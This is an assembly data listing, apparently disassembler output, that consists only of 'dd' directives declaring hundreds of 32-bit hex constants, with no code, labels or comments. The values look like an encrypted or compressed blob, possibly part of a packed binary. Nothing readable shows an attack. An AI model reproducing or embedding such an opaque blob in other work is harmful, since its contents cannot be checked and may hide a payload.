		dd 9105C0CFh, 3AD70125h, 8EB23200h, 0CE36BDF2h,	0CAE22E41h
		dd 0EABC00C7h, 0E5AD0554h, 8014843Ch, 56FC9770h, 7A4F8D5h
		dd 30F2C9EBh, 7CD403F1h, 1A44A7C8h, 0B0036F0Eh,	5139803Eh
		dd 0F167AFh, 2C6448ABh,	4287BB7Ah, 2AFF8002h, 48CBC3A2h
		dd 3676650h, 261BEC2Bh,	3F8F0B59h, 7DE0772Fh, 4BCD4161h
		dd 2F4239h, 55C57AEh, 794FDFh, 557BF51Fh, 7DC23239h, 5031A200h
		dd 76988E8Dh, 37C905Ch,	0ADDA2B95h, 3FB0A64Eh, 0CF039A3Eh
		dd 2C011226h, 0F707D80Dh, 7F6700CBh, 378EA318h,	0D30FF84Bh
		dd 69C83AE1h, 0A2EA00CEh, 0A585BFh, 0F9C2DFAFh,	0F84AE09h
		dd 8A2A8300h, 0B4C97362h, 0D2500ABCh, 0D82790h,	23778DBDh
		dd 5EF07603h, 53C73B00h, 0F019C31Bh, 0F239001Ch, 3F70A4F5h
		dd 80002CD9h, 8AD40D62h, 8CCB6h, 289F45F6h, 42843409h
		dd 17115D00h, 0E625A6DBh, 0F9E700DEh, 0BA32FEC6h, 447DA1BCh
		dd 8A716F2Ch, 359CF200h, 24497FB1h, 0FC33E5h, 0CD44930Ch
		dd 2492BE3Bh, 0B4C1B90Eh, 0FFFA03Fh, 1FF8FE7Dh,	141525h
		dd 0E98BCBB0h, 0E200F6C9h, 0DB1B1A42h, 0E34F099h, 22D4CFEEh
		dd 0E601302h, 2BDFE5C0h, 2FA63800h, 8D8028C5h, 687A92h
		dd 8336A2DDh, 701D9863h, 0BB8BC900h, 1E717A51h,	5590158h
		dd 5F3F812Fh, 56E6EC77h, 3A395007h, 0E45067B0h,	738CCB48h
		dd 4EF409AEh, 1C01B7F0h, 0E0072B85h, 4304B611h,	0EE51BDE8h
		dd 711074C7h, 223481h, 0CA92DAC4h, 42E8F503h, 46800960h
		dd 0E6E02FA2h, 1DFF00EDh, 4EEA02FAh, 0B900519Ah, 0B4490765h
		dd 4500B06h, 94C3B65Fh,	18880B3h, 4E073544h, 2B4F22E4h
		dd 3832F540h, 3F8C0319h, 1AC554E7h, 0D1E676F8h,	420BD407h
		dd 1C0E870h, 312511h, 9B92F9CEh, 0FCFAB6Eh, 9303D00h, 269DA60Ah
		dd 0C96438EFh, 0AF80CDBAh, 4C9E60DAh, 4F00C3B1h, 2E38E20Eh
		dd 3B0B4Ah, 428E8685h, 251A695Ah, 0E50018F8h, 0F2D9E6C6h
		dd 5D6F3B6h, 22C2F861h,	0C99803D0h, 1E53F30h, 0B1B63AC8h
		dd 0F0EEC552h, 0BA008474h, 9D81DF1Bh, 1E89B573h, 0C0A88DE8h
		dd 0AD43A2B1h, 78037F40h, 92D398CAh, 9D66F8F9h,	0D2090385h
		dd 28B3C780h, 436EB0E8h, 4AC348h, 2E072AF6h, 7719AE7Fh
		dd 462300BCh, 986D592Dh, 0DC1C41B3h, 6C005603h,	5731765Ah
		dd 8534813h, 124F4209h,	80410F07h, 16E17139h, 0D7C48900h
		dd 4EC78E88h, 5F0905Dh,	49380A82h, 0BF6F80CBh, 0CC00B262h
		dd 1953D04h, 0FCB3F1h, 0E5F00ECEh, 44A209D3h, 51907318h
		dd 3D1BB858h, 5F807912h, 564D49E0h, 850027EBh, 0CFA71ED8h
		dd 0B37E97h, 694BFA98h,	379C6FCDh, 5D124E00h
		dd 33BBC0A1h, 0EA0E00F2h, 0C254AE0Fh, 4301CCE7h, 0B8E548FDh
		dd 72CC733Ah, 0C9E300B4h, 0CFD170BEh, 54016033h, 432C18A6h
		dd 20F08CB9h, 0A066001Eh, 0A5BC755Dh, 0FD00C9A9h, 83B85F6Dh
		dd 0FA6C0B28h, 185D01F2h, 3135826Ah, 9E87C4C3h,	82B1B439h
		dd 86AD2C57h, 0A3F4A034h, 0B2DF41h, 0DE24E5Ch, 18434C74h
		dd 75FD1007h, 8020BE6Ch, 0EF450514h, 7374D0h, 0B1C3EA04h
		dd 0A3B02D08h, 0BFAA6E16h, 0E12B00EEh, 22E9E47Dh, 17AB39h
		dd 3FEF5A77h, 1C0D65A4h, 82A688h, 0A8368956h, 0A100AA4Dh
		dd 5847709h, 77F925Dh, 4B2F5A74h, 7ED70D9h, 1C003AF2h
		dd 533D6E17h, 370E4Ah, 0D37B2CC4h, 0BD87C7AEh, 781F51F0h
		dd 12007775h, 79BAC0DFh, 0C78CA06Fh, 90D500D4h,	8D6B0922h
		dd 0BE00590Eh, 17630624h, 0CF28DAh, 0F7E0CAEAh,	0CB2B852h
		dd 0E526EB00h, 2C14359h, 0F896383Fh, 84A41901h,	16D1371h
		dd 20DE9A04h, 0A8094BE9h, 5C0B3575h, 0DDC7Eh, 4F3BD45Ch
		dd 31C42632h, 61F000ADh, 6E679CABh, 5780F00h, 0BDCA4666h
		dd 98CE00BCh, 73135393h, 2B004A7Fh, 80A32382h, 0E4A1DDD8h
		dd 884B133Ch, 8BA80219h, 706487B0h, 0E0501500h,	4306D3D2h
		dd 0A3ED1F27h, 431C1F7h, 61CB0E51h, 0DB0CC828h,	4CCEFF00h
		dd 0BB9F282Fh, 70030069h, 0AADF649h, 9400D7F7h,	2FED6B6Ah
		dd 5B45D64h, 0B243FF12h, 1A8F80CDh, 0F97551C6h,	9A3CE51Dh
		dd 5DB9E340h, 103C25Bh,	4DD83E36h, 2F61F1FDh, 7C8D6200h
		dd 0E08C1D1h, 6870341Eh, 4D52CD60h, 0E400DB2Bh,	0F9C4EB13h
		dd 829BC8h, 0E13DB850h,	0C7B2C64Bh, 0A1E2B900h,	43467790h
		dd 98160774h, 0C0080AA3h, 6C65C272h, 0A4CEB400h, 64CD955Eh
		dd 36E50F40h, 0C07C7AF5h, 26F73830h, 8B00FA84h,	60C518CFh
		dd 2FF2AFh, 0C722F395h,	0B38CC9A6h, 66A82000h, 5E14F5BCh
		dd 0C575B5h, 79ECDAC2h,	7E428B83h, 95EDAE03h, 0B0BCAAE9h
		dd 76C281h, 0A1F4B784h,	526B28DCh, 3E86C300h, 41B515E1h
		dd 2E2F004Eh, 0C60B9395h, 13007D8Ch, 0FB67FD62h, 30DC7Fh
		dd 86D69711h, 0F71546EEh, 662E3960h, 0AD5CBAh, 9BC355F3h
		dd 0CDCC97D9h, 62D68600h, 0F733FB7Fh, 6EB20EB5h, 0ECA07745h
		dd 0F5E5E22Dh, 89D9DD00h, 0E109C90Dh, 0F7610064h, 4E1F3FA7h
		dd 0B77A539Fh, 0ED5D6000h, 98F609DBh, 45620032h, 9D3A2BBDh
		dd 0F75849D6h, 85500066h, 3B73CFECh, 0F1C4000Ch, 3C0E1F2Ah
		dd 0E0096055h, 71E1D29h, 0BDC02B8Bh, 0EAF54F63h, 59480E50h
		dd 3F00E028h, 45B58A9Bh, 62BE0200h, 25BA3B9Ah, 12AB0FAEh
		dd 4A0861Ch, 170D82Ah, 87718D3Ch, 3A0AC949h, 555F2210h
		dd 0F3776Dh, 548B8A4Ah,	233F79E4h, 8FC0EF3Ch, 0E087925Eh
		dd 0CF1D9BB5h, 0CCE53BEBh, 0F4139709h, 0A3113E80h, 583DFA75h
		dd 0FD319EFEh, 0BE352CC6h, 0BAEC0A98h, 80C092D6h, 8577F33h
		dd 0B00024DAh, 9CCF510Ah, 85296Eh, 4A4F6AF4h, 54667522h
		dd 95799400h, 6881C2Fh,	0E893001Dh, 150C4EC3h, 1200A3C1h
		dd 2D2844Dh, 0A1E7BC6h,	0B73B0846h, 0ED0F8288h,	0B883CE77h
		dd 968860C0h, 0CA0EC27Bh, 29025AF2h, 0F0400E5h,	0D03F35h
		dd 0DE147805h, 0EAF16267h, 30C6E400h, 0D1B1EB8Fh, 0BA29022Dh
		dd 9C9D8658h, 0F6BF00DFh, 0BBB213h, 0C6C44BCAh,	0E4B6E328h
		dd 0DA791801h, 0AA1D34C2h, 77AF070h, 83DFFDEDh,	3B003B7Ch
		dd 339E9F0Fh, 8908F300h, 2755F1DCh, 28FC2EB6h, 0AA24009Bh
		dd 0A8CBBD5h, 390018EEh, 7B836F4h, 44184h, 5E1ABE03h, 266F7B9h
		dd 0B32F271Eh, 4AB8C7C0h, 71A99Dh, 3D409815h, 83E29FBAh
		dd 0B4F46412h, 0DC40B81Dh, 9A2D04C0h, 0DEE08Eh,	4A843858h
		dd 0B4373074h, 623D9401h, 0D54F7089h, 0BAC8F07Bh, 99C025FCh
		dd 898A808Bh, 0F924000Ch, 0CF882F31h, 94014362h, 0E5BC81B0h
		dd 0EC0A9FAh, 0D66C004Bh, 1C466A5Ah, 8000C211h,	0E8241A03h
		dd 46DC0CBh, 714AFAA4h,	12C6C0D7h, 1009A4Fh, 0EB65AF39h
		dd 981A08h, 0D877FE5Ch,	7E85CB05h, 9A8AE700h, 0C7B4D61Ch
		dd 66860056h, 0CC931EE5h, 1600D14Dh, 5194D8DDh,	0EF1F24h
		dd 9E576E68h, 445640ACh, 6FB53703h, 37638AFh, 5CC4D8E8h
		dd 88003912h, 0CC8B3555h, 92B5FEh, 22013A16h, 0FAE1442Ah
		dd 7311A48h, 9D87300Bh,	14D5A311h, 181C0FF4h, 2952AA2Bh
		dd 0E5017242h, 7401CF84h, 1981B6F0h, 0A1C78D16h, 52C8E3BBh
		dd 64003565h, 1F533498h, 1C68503h, 83540FC5h, 0E8FD1BEDh
		dd 810343AEh, 52974916h, 47A91C0Bh, 5B0C0C2Bh, 9F00FC58h
		dd 1F9EEE96h, 186489F2h, 0AE7A4EC0h, 0C00DD9Ah,	6D3DD359h
		dd 65F6E7h, 0CF5C573Bh,	32A597B7h, 8F458203h, 0B8CC7DECh
		dd 3A0F6293h, 1C0C836Ah, 5648796Eh, 88EAAC92h, 5E50C400h
		dd 6B55636Dh, 20EF7FA8h, 0A102E49Ch, 111591B2h,	5328E0CFh
		dd 0DEAE26B6h, 1C8101B4h, 80D7A877h, 0F3BDB4F6h, 7D5BAFF6h
		dd 1CE8F2CAh, 0C076424Fh, 4702060Eh, 4400CCC9h,	4535680Dh
		dd 1F6B2E2Bh, 0C0C334B5h, 0E2E6E5D6h, 701F8AFEh, 0F600F80Fh
		dd 91A09A68h, 3CFA7A2Ah, 400415Fh, 1A4D6D60h, 613D749Dh
		dd 171900ADh, 3D0256A8h, 97CE000Eh, 0CFD0CC8Eh,	5B00EE42h
		dd 0FE18302Ch, 50CD3170h, 0F21D569h, 0ACFA9F20h, 7F861640h
		dd 9103487Eh, 0BC5FF9E9h, 0F6E2E8C1h, 0FA7A33h,	6A1A641Bh
		dd 0B4F1AB80h, 4108A900h, 94156BD5h, 36A1007Fh,	0E452BB71h
		dd 801789B1h, 0FA005FA5h, 0D5B0A70Dh, 2DD8391Ah, 4B681Ch
		dd 949A4E7Fh, 0AB1D7980h, 21C01275h, 38FBB984h,	0A7B60051h
		dd 5FA20720h, 2F30035Bh, 1B0AB8D4h, 88D80075h, 0D32D1D8Fh
		dd 5E3CB4BDh, 3D71804Fh, 22DA0182h, 65CB0B36h, 0F1809962h
		dd 0F9E2F5ABh, 9AF8C100h, 4FFB697Ah, 18E80055h,	7DD0EF80h
		dd 4E00C8D8h, 1354BCCCh, 1657BBEh, 2D6FC52Ah, 20D42CC0h
		dd 7FA6056h, 0ADBC8512h, 0A8D9920Ah, 73EDD281h,	0CFE04532h
		dd 5AA92CFEh, 6A810055h, 0F437ABADh, 0A5CC1F00h, 1E461611h
		dd 4F3F00CFh, 7E4C908Eh, 0FC3E587Bh, 9ADD0051h,	96093C97h
		dd 2B7A00DBh, 0F4AD2473h, 0DBA00211h, 0F000DC9Ah, 0ECC39E4Fh
		dd 6DE01h, 0AF24A556h, 58C093C9h, 4FCAE003h, 0B81641A4h
		dd 0A22A2h, 716E0E52h, 0CD46FDDDh, 8F5B7B0Eh, 793FE0A7h
		dd 0DBAAE3h, 0F7B41E10h, 54CF63FCh, 58173024h, 20A0258Eh
		dd 8F2AE46Ch, 0BAD600D9h, 655C1594h, 5B004926h,	17A448B8h
		dd 92C966h, 7F5F054Ch, 48B70C0h, 70D4383Ah, 812C1C01h
		dd 37F263C3h, 60719841h, 54658880h, 50FCD4F7h, 1C7E4F00h
		dd 67F1090Ch, 0CA630074h, 0F6F6C76h, 0C778121Fh, 9C8C8D28h
		dd 0BD88F700h, 0AB9318D8h, 36D71F95h, 0B41E7Ah,	0D5890682h
		dd 38001153h, 0C94F04BFh, 0EF2DCBh, 0E70EEA2Ch,	6F617CBCh
		dd 90319F32h, 8B9B105Dh, 0E002BE00h, 51C2E5F0h,	0C72100BAh
		dd 9F734330h, 0D00E2DF8h, 603B9E2Ch, 4D7FCFE6h,	0E1CA0034h
		dd 200A1DF3h, 3A400FDEh, 0E2B7F406h, 0A60D2970h, 0A3A03CACh
		dd 0DB0A530Ch, 0F2BB510Bh, 0AFB30127h, 84BEEDD7h, 0B453FC4Bh
		dd 9E2E6F00h, 44879F17h, 769C0E2h, 686D95BBh, 6D6801Dh
		dd 0A83EFA40h, 0BFD437h, 9BCB71AAh, 0FDBBD925h,	0FE00B1B0h
		dd 6D732D74h, 0FB4F65h,	537D62CEh, 0B3F47C5Eh, 9BA25A03h
		dd 90A47E5Dh, 7BF78027h, 643D00ADh, 82DAAF16h, 51E4EA09h
		dd 50E2BD00h
		dd 0EBFEB676h, 0C19A00D6h, 0B18FD4A8h, 16002882h, 192CF3AEh
		dd 3DBF7178h, 3C86EB64h, 3822E7B0h, 0DF00FA7Bh,	52731895h
		dd 0EC053B68h, 49E60054h, 0C0C8A7CBh, 0FF38C2DFh, 5A52800Bh
		dd 7DBC390Eh, 6F5C00F5h, 6C7AB063h, 0CB0147C9h,	74170410h
		dd 0F2E4F94Eh, 2448CB50h, 0C78FF601h, 105EF05Fh, 9693780Ch
		dd 5D500Ah, 0CA998009h,	279EDD9Dh, 4DF6E300h, 7C9C49C7h
		dd 83841EC6h, 89807BF4h, 0AEDF18B0h, 0C06E7A3h,	523944D3h
		dd 3F463C8Eh, 132500F0h, 8E48E6C7h, 0B3000815h,	0A078B838h
		dd 14A8F57h, 4F764E7h, 40AAD152h, 0CE445E8Ah, 0E40030FAh
		dd 42E9B46Dh, 3822DFFh,	0D7D565EBh, 78F02983h, 3E00F5CBh
		dd 495820F7h, 2877Ch, 5A0D8FF8h, 4BD8DCD7h, 0BA6E4300h
		dd 11FEA538h, 0A02900B8h, 3064DBFDh, 7E005BB5h,	0A9CACF4h
		dd 0D2B7DDF3h, 0CCF80068h, 0B1068B94h, 2A0B39h,	0E960F011h
		dd 2B6C27h, 0EFB20C36h,	8C859E7Ch, 0D39ABCA3h, 61E9E0D5h
		dd 0F5E037h, 5C82FB7Dh,	502941E0h, 49E7203h, 0D08156FFh
		dd 121CB608h, 0FF0A1D4h, 59EED9F2h, 527BF880h, 0B002592h
		dd 889B3119h, 1CE26889h, 801BFA6Fh, 148A2FE5h, 1158C358h
		dd 0A233001Ah, 0F820CB4Fh, 0ECE92630h, 0E35F030Eh, 7380D7B3h
		dd 0BEE416BBh, 49217A13h, 85697C00h, 7CE82EF8h,	8B420083h
		dd 76A3B55Dh, 0AB00B3C4h, 1652BC0Ch, 0F4C2A436h, 0DDB700D3h
		dd 0F8C865DBh, 734DADA1h, 0CA3E2880h, 48BCC001h, 0E05FB67h
		dd 97D130h, 8D35882h, 916F81D0h, 405A2800h, 3EF8C3F2h
		dd 2FB100EBh, 77D2D17Fh, 0E7309054h, 156F78E6h,	0F6C20963h
		dd 489B9E67h, 954DD104h, 70D79033h, 0C2B8261h, 0B417E8E3h
		dd 72D66970h, 43A62000h, 0A0674D94h, 0DD70E770h, 0CCA592h
		dd 52B9E8E6h, 0F7C96212h, 5B781760h, 5C66F11h, 0A5B080FAh
		dd 9EB600A3h, 2D2CD195h, 0B3C8401Fh, 0B61E03Ch,	827A81h
		dd 0D90AC2EEh, 7F97BF1Ch, 0CBAAB51Ch, 0F6235EC0h, 2816EBh
		dd 0DC471AF2h, 14B31563h, 0D62CA500h, 8E6E60C5h, 0A47400BDh
		dd 25B10488h, 0C600F33Fh, 9B26EB5Eh, 7AFAD85h, 55DAE766h
		dd 4DAC8180h, 406E61D4h, 0F2EF4A7Fh, 54627B00h,	0C8BCBD7Ah
		dd 0D783005Bh, 147FAAB4h, 20002933h, 0FC152AA5h, 64CF69h
		dd 9162728Fh, 862C425Eh, 0CBDF5100h, 67EEE0AAh,	810900B1h
		dd 97451F8Ah, 2514900Bh, 18E45960h, 0B5D01744h,	4BEA007Fh
		dd 1626A3CFh, 0C000BEA6h, 0D8624F20h, 1E7AADh, 90ED1CC5h
		dd 97753CCh, 0A6CEFC00h, 0B20395D4h, 0BBD2067Fh, 21C054B8h
		dd 4139E800h, 6456C167h, 26F0020h, 329DEF4Ch, 0A0033F29h
		dd 2A67062Fh, 19100035h, 3836C4B1h, 5D00432Dh, 4C5E9588h
		dd 4965B3h, 87E31F89h, 9E3A5CAAh, 0E5788600h, 9D701EEDh
		dd 0A2790003h, 0B347E0FBh, 30000E34h, 6A349A4h,	0F782A0h
		dd 0CFD98C93h, 2E14E4F6h, 0BF0050E0h, 0EF202832h, 285C63Fh
		dd 36F55553h, 0FC808349h, 0A07E4250h, 0DA2EA71Eh, 0F7CA1B83h
		dd 68C0DF8Ah, 0BF14E8h,	0DE50A8BCh, 736BB9C8h, 80B5270Eh
		dd 68658397h, 4724C067h, 0C369033Eh, 4C22405Ch,	0AE1D80C8h
		dd 3CA5DE00h, 94FDEC4Ah, 6BA40742h, 2FDA7D10h, 6300808Bh
		dd 6F9802CBh, 0D900BBEEh, 6C2EC8Fh, 0E8FFB2C5h,	7C9791Ah
		dd 0D652F01Bh, 0C37540EEh, 2A1EEABDh, 0FF5F4E14h, 20E051CFh
		dd 0ED3C5984h, 0F5E2004Ah, 0C125D6FBh, 21001F20h, 708F8E6Bh
		dd 0BB1480h, 0D363501Dh, 0D541A775h, 0DEBEDB0Bh, 11420001h
		dd 2B7B0Fh, 0C9333B66h,	20E25E72h, 3952D603h, 907A2477h
		dd 147D38CAh, 0AC05F01Dh, 0B2684B00h, 0DA4C45Bh, 5EBDD900h
		dd 0A1089A7Fh, 5C4C3DB9h, 0E51F7D81h, 60F2F359h, 7113A026h
		dd 0CF0C7CFAh, 5BEA218h, 26C70C8Fh, 64A500D5h, 8C6A0DE7h
		dd 80D1B53Dh, 6535774Ch, 7F66B718h, 63EA1D58h, 0D2A5CFA1h
		dd 301E2340h, 2A00288Bh, 44EBE5CEh, 0AD5D7Dh, 212D9376h
		dd 25B23A82h, 20E93D00h, 66F5E81Dh, 8CE892h, 2B2DF1EBh
		dd 46013ECEh, 33AFC800h, 0B88DE25h, 49A9003Dh, 0F3D17BABh
		dd 5F3DE7CEh, 0FE840014h, 24BA02D7h, 91E2D3h, 8F177274h
		dd 60ACEB1Ch, 7ADA7300h, 69D77190h, 0A6D03250h,	0AEC0AE11h
		dd 79799AF7h, 1C5D7600h, 7E528245h, 8F081E8Ah, 68F382A8h
		dd 9380A9FCh, 534781D5h, 2739FFA0h, 0B16B4100h,	0C3862638h
		dd 177C0274h, 6D554AC6h, 0D145F0A0h, 0A112B5D7h, 9303E382h
		dd 88B41471h, 7332784Ah, 81000C6h, 0CF3C8976h, 2385DEDh
		dd 7D5300B3h, 1CA882A9h, 429000E3h, 0FA76133h, 0B300C198h
		dd 58AC9FCDh, 0FF901E6h, 7B62D2C4h, 0DA4128A3h,	0A5114488h
		dd 9FBCDE03h, 0D8817488h, 27CF3Bh, 0D9B39623h, 8E7B5F48h
		dd 616FAB0Fh, 3080BC8Ah, 0D57AFD7Fh, 0E6FEF6FCh, 287410h
		dd 825A1C34h, 54409D19h, 2DAE5E07h, 2410BB72h, 0EA0D95h
		dd 3B207E25h, 0B2D8E41Dh, 1F07CC7Fh, 49808F26h,	0A71B5360h
		dd 471C0046h, 327B6BF0h, 40359C8h, 3FC14066h, 0B446D82Ah
		dd 3B5C00A2h, 1BBA0376h, 6C7A0520h, 3C686200h, 7A38E257h
		dd 9EAF3E94h, 0CA354280h, 0BA21400Ah, 0FF8CB400h, 0AFDBCF83h
		dd 42BB0067h, 111037B7h, 0DC00656Eh, 345589FDh,	267B8264h
		dd 664F4Eh, 0B4C83A1Ch,	0FE006984h, 99565C5Fh, 41B946h
		dd 0A9CC6FCEh, 5949567h, 0DE8CE51Fh, 0F3FD627h,	2D8123FCh
		dd 2073012Fh, 0E5008D9Eh, 2B974AB6h, 314135h, 48323A72h
		dd 47D253Fh, 0B5B4F800h, 0D3666BFAh, 448A00A9h,	527EAB7h
		dd 9A0659E3h, 6C2BA34Ah, 54077720h, 83887Eh, 7BC5A8C8h
		dd 5E59C38Ah, 7A10FCE7h, 0CA279C02h, 40A21C92h,	31E0C8h
		dd 0CCFB5DC9h, 18450386h, 8B01B4B0h, 0EAC250FFh, 9040667Fh
		dd 5FA7E7h, 6BD5DD81h, 0C405FA6Dh, 0EB00B2ECh, 12A0BF9Dh
		dd 7B382AADh, 2ED91F66h, 45C640CDh, 3EB148F8h, 191C1D0Fh
		dd 752520D8h, 80E23C91h, 6C002337h, 0E779B24h, 1D6D27h
		dd 7063AF1Fh, 0A1F25CA7h, 4F666A00h, 169EB964h,	918F0EADh
		dd 3289F8FFh, 15623000h, 3AFC3747h, 98F0F300h, 0DE57EA70h
		dd 25753E7Fh, 0B30EE203h, 47F01EB4h, 623AF866h,	80F6BD77h
		dd 59BD4B6Dh, 4CFB1DFh,	1E0607AAh, 91BE8712h, 0ECCA7CD3h
		dd 30003BA4h, 0DF3AA17Bh, 38F60F7Eh, 4781BE06h,	84C23944h
		dd 0E018F1DEh, 720E12AFh, 4034E90Ch, 0D63303E8h, 1A2501F9h
		dd 2F478DD8h, 0E27DC414h, 526BDD00h, 0E4D2C0CBh, 0F0D0002Dh
		dd 621B1CCAh, 5D0F975Bh, 0A082C2AFh, 0B3FAD7B8h, 0F76E1C01h
		dd 203080CBh, 0B1E5AE2Bh, 555AA200h, 91C475CAh,	3C2C055Bh
		dd 85E27FECh, 9B300005h, 0AB8F6D95h, 0BB898304h, 39C07307h
		dd 1430D9DFh, 0D8C139CBh, 0F110D100h, 0A7D5BA7h, 20B8D326h
		dd 0CDCC0038h, 0B3B1E79Ah, 66989Dh, 0ED7213ACh,	0CFB0A31Dh
		dd 42BDA717h, 93C300ABh, 81EFB831h, 0E0C7E63Dh,	0AB6830D6h
		dd 6EFE4Ch, 44C5299Ah, 0F3B6ED6Fh, 0CF065C00h, 0B73898B1h
		dd 0AEC300A0h, 1EAB8AF1h, 0BD035697h, 81F4D2CBh, 9DA6A0FDh
		dd 1EBA7337h, 1DCFA5C4h, 8A410097h, 1C5735B3h, 3916D018h
		dd 191FF8h, 73013F2h, 0F77C3FDEh, 5427F500h, 6E51B45Dh
		dd 7ACD3946h, 2B749480h, 565E01E0h, 796AED00h, 2E515083h
		dd 37260669h, 4AF94525h, 80A9F8CFh, 0BDBCA63Eh,	54D3043Ah
		dd 0C0C7A7A8h, 3639CA58h
		dd 0DEE01900h, 95E6804Ch, 6C9A51h, 4BE4BB4Ah, 6F07DD0Fh
		dd 3C7363Eh, 0AD6BE15Bh, 0CA28C062h, 50F70495h,	80F97E19h
		dd 651EC4D1h, 54E05C04h, 0F0C1A16Fh, 71D9EB8Ah,	4B141C4h
		dd 0EA2633BBh, 36C8C031h, 0C70063FBh, 0A0AB30E2h, 0E4A2E49h
		dd 0E5D2D046h, 4D9009Ch, 96BFEBA2h, 0C3279800h,	0B4F08369h
		dd 2D0800EDh, 35AFD958h, 4D1497D4h, 0A83A6Fh, 0AB7A7107h
		dd 26DFD7h, 1ECFE3D8h, 3CB53BFDh, 8015E73Bh, 0ECAE12F5h
		dd 0C803FCh, 94EEA6D9h,	0F81B9DC2h, 43B62900h, 0DF6D0F0Eh
		dd 14082060h, 0D4B70105h, 94457936h, 6AC08A17h,	0B2E931h
		dd 25616266h, 0AE5F0F1Eh, 0A4BE1C00h, 0C0771F98h, 84B10368h
		dd 796EC68Ch, 1395F880h, 22B54301h, 523FA545h, 0C2F820h
		dd 2032E1D2h, 4D68DC77h, 9ABA6B00h, 0FC8889C3h,	6C30EBC7h
		dd 0A1A60FECh, 42A701B4h, 9400EB31h, 807F899Eh,	9334D700h
		dd 0FE994ACDh, 0E877005Eh, 0B4C2EA6Ah, 0E0A15F47h, 8C10801Ch
		dd 7781B72Bh, 0D9AF003Ah, 65B4B856h, 0E605E033h, 8CD26917h
		dd 0F2E36CC0h, 8880000Eh, 0BFFE27A3h, 2C00EE9Ch, 1F9F4E65h
		dd 27EEF02h, 86935113h,	1CC8CE4Ah, 3CFE334Fh, 2F452C00h
		dd 84592010h, 6AEE21h, 515DF394h, 961A1929h, 9D21F3h, 46B6FFAEh
		dd 0F90E3302h, 40C06E05h, 0B0406D10h, 25883C28h, 1CAC8F00h
		dd 6304F68Ah, 9A5D5500h, 0BB36C756h, 5B0E0C0Bh,	6F21151Dh
		dd 0C4D75004h, 2C0F049h, 7FD43F2h, 0D98BC761h, 0A296C055h
		dd 12E8B4C1h, 940654B0h, 463F52F5h, 804B0011h, 0C637A4BAh
		dd 0CE786783h, 3A267000h, 4E2F4364h, 37500A5h, 21DC7813h
		dd 0C8008C19h, 5B9DA07Dh, 0B537C0h, 9472F539h, 0B1BA845Ch
		dd 2B8DA31Ch, 6E4926C0h, 1BC97B5h, 6264271Ah, 0E09FB6E7h
		dd 0A4124245h, 0DC0795CBh, 8830A2FBh, 135D89ECh, 73911Fh
		dd 0F390BC2Dh, 6804F9ACh, 9C0A5683h, 0C8D82880h, 0EDB100D6h
		dd 2B6FA49Dh, 4CFAB7ADh, 0AA00CF73h, 0CB36786Dh, 58163Fh
		dd 0D98C6867h, 0B2EAC39Bh, 0BD266E01h, 369EBB32h, 89A2D4h
		dd 0B170F79Ch, 86089D4Ch, 0B600D271h, 97B861D3h, 2ACB51h
		dd 0D9C26CDDh, 2B307099h, 1F1B0512h, 0DCDA8000h, 20318D3h
		dd 0EC39BD42h, 0E960D8B0h, 9A0EA04Eh, 60F9E553h, 6BB6E675h
		dd 52D90430h, 80932D1Eh, 0B4674B6Ch, 43AF3900h,	0F42142ABh
		dd 4F0E1FD8h, 400F1760h, 5E31C738h, 0F658BF35h,	0FE3209D0h
		dd 0D9400BAh, 0A3BCDFh,	7F5880C4h, 3D763620h, 213C8200h
		dd 97226C16h, 30F001Fh,	0E5589615h, 0D4076047h,	848ED365h
		dd 62B0C177h, 9AC7ECh, 340A9E93h, 92B2A94h, 0BE6CF900h
		dd 3BCF1F12h, 5814EC5Dh, 80173F98h, 0ACC100EEh,	0F5D78583h
		dd 73A3600h, 15220A0Bh,	0F8740492h, 80119176h, 2CB75638h
		dd 10FDF200h, 71A826D9h, 0B5FA0Ch, 2594C2E7h, 90ADC47Bh
		dd 6CC6D824h, 0FAFEEA01h, 90AE43BFh, 0F3A98B9Ch, 8D4CEE02h
		dd 20AE42F5h, 5BD93D98h, 0D68300B6h, 1E65952Dh,	6730A3D3h
		dd 1A6D80CAh, 986E50E7h, 7D8B8A2h, 0A1EAD45Ch, 17BEEDh
		dd 0E90631BCh, 0DEF88FE1h, 58DAEF00h, 65FD26FAh, 7ACA090Ch
		dd 5C0F4535h, 99DF4100h, 1601BD96h, 3B114EDh, 0AC40FBCCh
		dd 0E4C00227h, 70FC012Ch, 689EBA45h, 6EA8209Ah,	0D6E61F01h
		dd 42A88CAh, 0E49D78F0h, 0B3CB0012h, 0EE109392h, 68C01399h
		dd 60889091h, 0A0DF051Ch, 0C04AEB14h, 0B8B748B8h, 95DB4300h
		dd 0B6F777E6h, 6C7F90h,	4D01076Ah, 350D5A9Eh, 3EB7110Ch
		dd 0E6E072h, 0AF60DDC6h, 86788BD4h, 0F800414Ah,	0D703E939h
		dd 6A8B28Ah, 17C567BEh,	0B00F2150h, 80C93879h, 0D38BDB68h
		dd 882B003Dh, 4833A0D4h, 6D0BDA3Fh, 3CD646h, 9859C537h
		dd 41216165h, 0CC620919h, 3F4824A2h, 0D7097B96h, 40CFBB95h
		dd 0EFD47A4h, 6949A79h,	2CBF1DC3h, 21431803h, 0A8C07FEAh
		dd 3CD4E4h, 683136B1h, 0D47964Fh, 91616B00h, 769A752Fh
		dd 69FC003Bh, 0B68B7AA7h, 0A05199B5h, 4ECE4BCh,	0A501A3F6h
		dd 8F3DCA27h, 48742940h, 0B7770086h, 0FE3A7550h, 0AD01667Ah
		dd 54C3CB63h, 0A050169Ch, 90C29065h, 40F014h, 0EE3BE18h
		dd 0E8E0A54Ch, 0BD8DDF02h, 40240F86h, 41C8F8h, 4AC3EB87h
		dd 1DBB6EF9h, 4D3460C0h, 0B08FC63Eh, 55E40017h,	49276D32h
		dd 8500C550h, 46CCB1E3h, 304EF84Ch, 713979EEh, 0B8001A2Fh
		dd 8A33CA2Bh, 4C37906Eh, 2E3A7CCBh, 17036580h, 3FCF811Eh
		dd 0AEE77603h, 0A0914FE9h, 0B707F40h, 32C4BABCh, 80A15884h
		dd 2D8F07A4h, 0EECAEA18h, 1C97A98h, 5315AF0Fh, 92708B48h
		dd 1804D1F8h, 90B0E7E0h, 8CF700C1h, 0FE7B4C90h,	0D1FA2C80h
		dd 8CB1313Dh, 296757DEh, 1F3F0050h, 0B092586Dh,	0C7037DE8h
		dd 6011C161h, 0E0BAF2C2h, 4941214Bh, 9C28146Ah,	0D6500080h
		dd 822B0A68h, 0BC0065BFh, 0B00C1EB5h, 790B99A3h, 0F2FDE025h
		dd 0F5892C5h, 907569C0h, 155809DEh, 0E6B39424h,	30F2005Ch
		dd 0C9948A90h, 60E60C99h, 0FE21F8CEh, 44072890h, 5B52BBEAh
